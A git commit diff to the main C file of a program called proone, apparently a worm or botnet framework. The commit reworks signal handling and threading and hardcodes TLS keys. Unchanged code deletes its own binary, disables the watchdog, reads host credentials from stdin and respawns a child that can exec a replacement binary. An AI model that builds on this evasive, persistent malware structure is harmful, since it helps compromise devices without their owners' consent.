aboutsummaryrefslogtreecommitdiff
path: root/src/proone.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-08-17 18:16:49 +0930
committerDavid Timber <mieabby@gmail.com>2020-08-17 18:35:31 +0930
commit7bd3eb3b1ad4209ac4cf4b46f849213d46bc33aa (patch)
tree0e7a16fb3d36ada8a2a494f8dc063e8b67350d58 /src/proone.c
parentd7cc11191dfd3fead5e596fcbc24f40d1317819e (diff)
Employ pthsem ...
* Use uint8_t array for hardcoded binary data * Add proone-ipaddr-arr to hardcode DoT servers * Convert X509 data * Brought back M68k and ARC archs just in case * Add CLOCK_REALTIME in prne_mbedtls_entropy_proc_src_f for more entropy * Remove installation of signal handlers. Use sigwait() instead * Bugfix: prne_rnd_anum_str() returned null characters * Add prne_dbgpf() and prne_dbgperr() * prne_assert(): put errno into a register so it's visible in the core dump
Diffstat (limited to 'src/proone.c')
-rw-r--r--src/proone.c347
1 files changed, 113 insertions, 234 deletions
diff --git a/src/proone.c b/src/proone.c
index 4fdae85..af77ba2 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -29,204 +29,81 @@
struct prne_global prne_g;
struct prne_shared_global *prne_s_g = NULL;
-static prne_worker_t resolv_wkr;
-static prne_worker_t htbt_wkr;
-static prne_worker_t* wkr_arr[2] = { NULL, NULL };
-static prne_llist_t wkr_pool;
-static void (*proc_fin_call_ptr)(void) = NULL;
-static bool finalising = false;
-static int int_pipe[2] = { -1, -1 };
-static prne_wkr_pollfd_slot_pt int_pfd = NULL;
-
-static void proc_fin_call (void) {
- if (prne_g.caught_signal != 0) {
- prne_llist_entry_t *cur = wkr_pool.head;
- prne_worker_t *w;
-
- prne_free_wkr_pollfd_slot(int_pfd);
- int_pfd = NULL;
-
- while (cur != NULL) {
- w = (prne_worker_t*)cur->element;
- if (!w->has_finalised(w->ctx)) {
- w->fin(w->ctx);
- }
- cur = cur->next;
- }
+sigset_t ss_exit, ss_all;
- proc_fin_call_ptr = prne_empty_func;
- finalising = true;
- }
-}
+static prne_worker_t wkr_arr[2];
+static size_t wkr_cnt = 0;
-static void alloc_workers (prne_wkr_sched_req_t *sched_req) {
- prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd);
- if (prne_g.resolv != NULL) {
- resolv_wkr.id = PRNE_RESOLV_WKR_ID;
- wkr_arr[0] = &resolv_wkr;
- if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) {
- prne_g.resolv = NULL;
- }
+static void alloc_workers (void) {
+ for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+ prne_init_worker(wkr_arr + i);
}
+
+ prne_g.resolv = prne_alloc_resolv(wkr_arr + 0, &prne_g.ssl.rnd);
+ prne_assert(prne_g.resolv != NULL);
+ wkr_cnt += 1;
}
static void free_workers (void) {
- for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) {
- if (wkr_arr[i] == NULL) {
- continue;
- }
- wkr_arr[i]->free(wkr_arr[i]->ctx);
- wkr_arr[i] = NULL;
+ for (size_t i = 0; i < wkr_cnt; i += 1) {
+ prne_free_worker(wkr_arr + i);
}
prne_g.resolv = NULL;
}
-#ifdef PRNE_DEBUG
-static void handle_sigpipe (const int sn) {
- // ALWAYS poll() before writing to fd!
- abort();
-}
-#endif
-
-static void handle_sigchld (const int sn) {
- const int saved_errno = errno;
- pid_t reaped;
-
- do {
- reaped = waitpid(-1, NULL, WNOHANG);
- } while (reaped > 0);
-
- errno = saved_errno;
-}
-
static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) {
if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) {
mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0);
}
}
+/* proone_main()
+* Actual main where all dangerous stuff happens.
+* Most of long-lived variables are declared static so there's little stack
+* allocation involvedsince stack allocation can cause page fault.
+*/
static int proone_main (void) {
-#ifdef PRNE_DEBUG
- static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s
-#endif
- static int exit_code = 0, poll_ret;
- static prne_wkr_tick_info_t tick_info;
- static prne_wkr_sched_req_t sched_req;
- static prne_llist_entry_t *cur;
- static prne_worker_t *wkr;
-#ifdef PRNE_DEBUG
- static struct {
- prne_wkr_sched_req_t sched;
- prne_wkr_timeout_slot_pt busy_tos;
- bool sched_ret;
- } dbg;
-#endif
+ static int caught_sig;
+ static pid_t reaped;
- prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.child_start));
- seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY));
+ prne_assert(pth_init());
+ prne_g.main_pth = pth_self();
-#ifdef PRNE_DEBUG
- signal(SIGPIPE, handle_sigpipe);
-#else
+#ifndef PRNE_DEBUG
signal(SIGPIPE, SIG_IGN);
#endif
- signal(SIGCHLD, handle_sigchld);
-
-#ifdef PRNE_DEBUG
- prne_init_wkr_sched_req(&dbg.sched);
- dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched);
- assert(dbg.busy_tos != NULL);
-#endif
- prne_init_wkr_sched_req(&sched_req);
- prne_init_wkr_tick_info(&tick_info);
- prne_init_llist(&wkr_pool);
- alloc_workers(&sched_req);
- int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req);
- if (int_pfd != NULL) {
- int_pfd->pfd.fd = int_pipe[0];
- int_pfd->pfd.events = POLLIN;
- }
+ seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY));
+ alloc_workers();
- if (wkr_pool.size == 0) {
- exit_code = 1;
- goto END;
+ for (size_t i = 0; i < wkr_cnt; i += 1) {
+ wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx);
+ prne_assert(wkr_arr[i].pth != NULL);
}
- if (prne_g.caught_signal != 0) {
- goto END;
- }
-
- proc_fin_call_ptr = proc_fin_call;
- prne_wkr_tick_info_set_start(&tick_info);
- while (true) {
- proc_fin_call_ptr();
-
- cur = wkr_pool.head;
- while (cur != NULL) {
- wkr = (prne_worker_t*)cur->element;
-
- if (wkr->has_finalised(wkr->ctx)) {
- cur = prne_llist_erase(&wkr_pool, cur);
- }
- else {
- wkr->work(wkr->ctx, &tick_info);
- cur = cur->next;
- }
- }
- if (wkr_pool.size == 0) {
- exit_code = finalising ? 0 : 1;
- break;
+ do {
+ prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0);
+ if (caught_sig == SIGCHLD) {
+ do {
+ reaped = waitpid(-1, NULL, WNOHANG);
+ } while (reaped > 0);
+ continue;
}
+ } while (false);
+ sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
- poll_ret = -1;
- if (prne_wkr_sched_req_prep_poll(&sched_req)) {
-#ifdef PRNE_DEBUG
- if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) {
- if (!dbg.busy_tos->active) {
- dbg.busy_tos->active = true;
- dbg.busy_tos->dur = DBG_BUSY_CHECK_INT;
- }
- }
- else {
- dbg.busy_tos->active = false;
- }
- dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched);
-#endif
- prne_wkr_sched_req_do_poll(&sched_req, &poll_ret);
- }
- else {
-#ifdef PRNE_DEBUG
- dbg.busy_tos->active = false;
- dbg.sched_ret = false;
-#endif
- }
- prne_wkr_tick_info_set_tick(&tick_info);
- prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff);
-#ifdef PRNE_DEBUG
- if (dbg.sched_ret) {
- prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff);
- if (dbg.busy_tos->active && dbg.busy_tos->reached) {
- const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT);
- dbg.busy_tos->active = false;
- fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s");
- }
- }
-#endif
+ for (size_t i = 0; i < wkr_cnt; i += 1) {
+ prne_fin_worker(wkr_arr + i);
+ }
+ for (size_t i = 0; i < wkr_cnt; i += 1) {
+ prne_assert(pth_join(wkr_arr[i].pth, NULL));
+ prne_free_worker(wkr_arr + i);
}
-END:
free_workers();
- prne_free_llist(&wkr_pool);
- prne_free_wkr_pollfd_slot(int_pfd);
- prne_free_wkr_tick_info(&tick_info);
- prne_free_wkr_sched_req(&sched_req);
-#ifdef PRNE_DEBUG
- prne_free_wkr_timeout_slot(dbg.busy_tos);
- prne_free_wkr_sched_req(&dbg.sched);
-#endif
+ pth_kill();
- return exit_code;
+ return 0;
}
static bool ensure_single_instance (void) {
@@ -291,28 +168,6 @@ static void disasble_watchdog (void) {
#endif
}
-static void handle_interrupt (const int sig) {
- const int saved_errno = errno;
- uint8_t rubbish = 0;
-
- prne_g.caught_signal = sig;
- write(int_pipe[1], &rubbish, 1);
-
- errno = saved_errno;
-}
-
-static void setup_signal_actions (void) {
- struct sigaction sa;
-
- sa.sa_handler = handle_interrupt;
- sigemptyset(&sa.sa_mask);
- sa.sa_flags = SA_RESETHAND;
-
- // try to exit gracefully upon reception of these signals
- sigaction(SIGINT, &sa, NULL);
- sigaction(SIGTERM, &sa, NULL);
-}
-
static void read_host_credential (void) {
static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3 + 2;
char *buf = (char*)prne_malloc(1, buf_size);
@@ -335,12 +190,15 @@ END:
prne_free(buf);
}
-static void read_bin_archive (void) {
+static void setup_bin_archive (void) {
+ // TODO
+#if 0
prne_stdin_base64_rf_ctx_t rf_ctx;
prne_init_stdin_base64_rf_ctx(&rf_ctx);
prne_g.bin_ready = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &prne_g.bin_archive).rc == PRNE_PACK_RC_OK;
prne_free_stdin_base64_rf_ctx(&rf_ctx);
+#endif
}
static void set_env (void) {
@@ -348,12 +206,20 @@ static void set_env (void) {
}
static void load_ssl_conf (void) {
- if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) {
+ // Could save 1108 bytes if bundled and compressed
+ static const uint8_t CA_CRT[] = PRNE_X509_CA_CRT;
+ static const uint8_t S_CRT[] = PRNE_X509_S_CRT;
+ static const uint8_t S_KEY[] = PRNE_X509_S_KEY;
+ static const uint8_t DH[] = PRNE_X509_DH;
+ static const uint8_t C_CRT[] = PRNE_X509_C_CRT;
+ static const uint8_t C_KEY[] = PRNE_X509_C_KEY;
+
+ if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, CA_CRT, sizeof(CA_CRT)) == 0) {
prne_g.s_ssl.ready =
mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
- mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 &&
- mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 &&
- mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 &&
+ mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, S_CRT, sizeof(S_CRT)) == 0 &&
+ mbedtls_pk_parse_key(&prne_g.s_ssl.pk, S_KEY, sizeof(S_KEY), NULL, 0) == 0 &&
+ mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, DH, sizeof(DH)) == 0 &&
mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 &&
mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0;
if (prne_g.s_ssl.ready) {
@@ -366,8 +232,8 @@ static void load_ssl_conf (void) {
prne_g.c_ssl.ready =
mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
- mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 &&
- mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 &&
+ mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, C_CRT, sizeof(C_CRT)) == 0 &&
+ mbedtls_pk_parse_key(&prne_g.c_ssl.pk, C_KEY, sizeof(C_KEY), NULL, 0) == 0 &&
mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0;
if (prne_g.c_ssl.ready) {
mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL);
@@ -381,11 +247,17 @@ static void load_ssl_conf (void) {
static void init_shared_global (void) {
// just die on error
- const size_t str_len = 1 + 30;
+ static const size_t str_len = 1 + 30;
int fd;
- char *name;
-
- name = prne_malloc(1, str_len + 1);
+ char name[str_len];
+
+ /* TODO
+ * 1. Try anonymous mmap()
+ * 2. Try opening /dev/zero
+ * 3. Try creating and opening /tmp/...
+ * 4. Try creating and opening random file in current wd
+ * 5. ... just don't use shared memory if all of these fail
+ */
name[0] = '/';
name[str_len] = 0;
prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1);
@@ -395,7 +267,6 @@ static void init_shared_global (void) {
abort();
}
shm_unlink(name);
- prne_free(name);
if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) {
abort();
@@ -445,13 +316,21 @@ static void run_ny_bin (void) {
int main (const int argc, char **args) {
static int exit_code = 0;
+ static bool loop = true;
+
+ sigemptyset(&ss_exit);
+ sigemptyset(&ss_all);
+ sigaddset(&ss_exit, SIGINT);
+ sigaddset(&ss_exit, SIGTERM);
+ sigaddset(&ss_all, SIGINT);
+ sigaddset(&ss_all, SIGTERM);
+ sigaddset(&ss_all, SIGCHLD);
prne_g.host_cred_data = NULL;
prne_g.host_cred_size = 0;
- prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.parent_start));
+ prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC);
prne_g.run_cnt = 0;
prne_g.resolv = NULL;
- prne_g.caught_signal = 0;
prne_g.parent_pid = getpid();
prne_g.child_pid = 0;
prne_g.lock_shm_fd = -1;
@@ -483,15 +362,16 @@ int main (const int argc, char **args) {
delete_myself(args[0]);
disasble_watchdog();
- // load data from stdin
- read_host_credential();
- read_bin_archive();
-
if (!ensure_single_instance()) {
+ prne_dbgpf("*** ensure_single_instance() returned false.");
exit_code = 1;
goto END;
}
+ setup_bin_archive();
+ // load data from stdin
+ read_host_credential();
+
// done with the terminal
prne_close(STDIN_FILENO);
prne_close(STDOUT_FILENO);
@@ -499,17 +379,10 @@ int main (const int argc, char **args) {
prne_close(STDERR_FILENO);
#endif
- if (pipe(int_pipe) == 0) {
- prne_set_pipe_size(int_pipe[0], 1);
- prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK));
- prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK));
- prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC));
- prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC));
- }
- setup_signal_actions();
+ sigprocmask(SIG_BLOCK, &ss_all, NULL);
// main loop
- while (prne_g.caught_signal == 0) {
+ while (loop) {
prne_g.child_pid = fork();
if (prne_g.child_pid >= 0) {
@@ -519,38 +392,43 @@ int main (const int argc, char **args) {
if (prne_g.child_pid > 0) {
static int status;
static bool has_ny_bin;
-
- while (prne_g.caught_signal == 0) {
- if (waitpid(prne_g.child_pid, &status, 0) < 0) {
- if (errno != EINTR) {
- abort();
- }
- else {
- continue;
- }
+ static int caught_signal = 0;
+
+ status = 0; // FIXME: libc bug?
+
+ do {
+ prne_assert(sigwait(&ss_all, &caught_signal) == 0);
+
+ switch (caught_signal) {
+ case SIGINT:
+ case SIGTERM:
+ // pass the signal to the child
+ loop = false;
+ sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
+ kill(prne_g.child_pid, caught_signal);
+ continue;
+ case SIGCHLD:
+ prne_assert(waitpid(prne_g.child_pid, &status, WNOHANG) == prne_g.child_pid);
+ break;
}
- break;
- }
+ } while (false);
has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0;
if (WIFEXITED(status)) {
+ prne_dbgpf("* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status));
if (WEXITSTATUS(status) == 0) {
if (has_ny_bin) {
+ prne_dbgpf("* detected new bin. Attempting to exec()\n");
run_ny_bin();
// run_ny_bin() returns if fails
+ prne_dbgperr("** run_ny_bin() failed");
}
break;
}
-
-#ifdef PRNE_DEBUG
- fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status));
-#endif
}
else if (WIFSIGNALED(status)) {
-#ifdef PRNE_DEBUG
- fprintf(stderr, "* child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status));
-#endif
+ prne_dbgpf("** child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status));
}
if (has_ny_bin) {
@@ -564,6 +442,7 @@ int main (const int argc, char **args) {
prne_close(prne_g.lock_shm_fd);
prne_g.lock_shm_fd = -1;
prne_g.is_child = true;
+ prne_g.child_start = prne_gettime(CLOCK_MONOTONIC);
exit_code = proone_main();
break;